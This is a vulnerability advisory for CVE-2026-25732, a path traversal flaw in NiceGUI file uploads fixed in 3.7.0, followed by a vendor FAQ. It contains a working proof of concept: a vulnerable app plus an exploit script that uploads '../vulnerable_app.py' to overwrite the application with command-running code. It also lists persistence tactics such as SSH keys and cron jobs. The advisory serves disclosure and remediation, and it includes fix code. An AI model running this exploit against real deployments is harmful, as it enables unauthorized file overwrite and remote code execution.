CVE-2026-25732

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

• Relative paths with ../ sequences
• Absolute paths
• Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

• Terminal 1 (App)

cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &

• Terminal 2 (Exploit)

cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py

• Restart the application to execute the injected code:

pkill -f vulnerable_app && python3 vulnerable_app.py

• Observe http://localhost:8080

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

• Write files to any location writable by the application process
• Overwrite Python application files to achieve remote code execution upon restart
• Overwrite configuration files to alter application behavior
• Write SSH keys, systemd units, or cron jobs for persistent access
• Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-25732 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.7.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25732? CVE-2026-25732 is a high-severity path traversal vulnerability in nicegui (pip), affecting versions <= 3.6.1. It is fixed in 3.7.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-25732? CVE-2026-25732 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of nicegui are affected by CVE-2026-25732? nicegui (pip) versions <= 3.6.1 is affected.
4. Is there a fix for CVE-2026-25732? Yes. CVE-2026-25732 is fixed in 3.7.0. Upgrade to this version or later.
5. Is CVE-2026-25732 exploitable, and should I be worried? Whether CVE-2026-25732 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25732 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25732? Upgrade nicegui to 3.7.0 or later.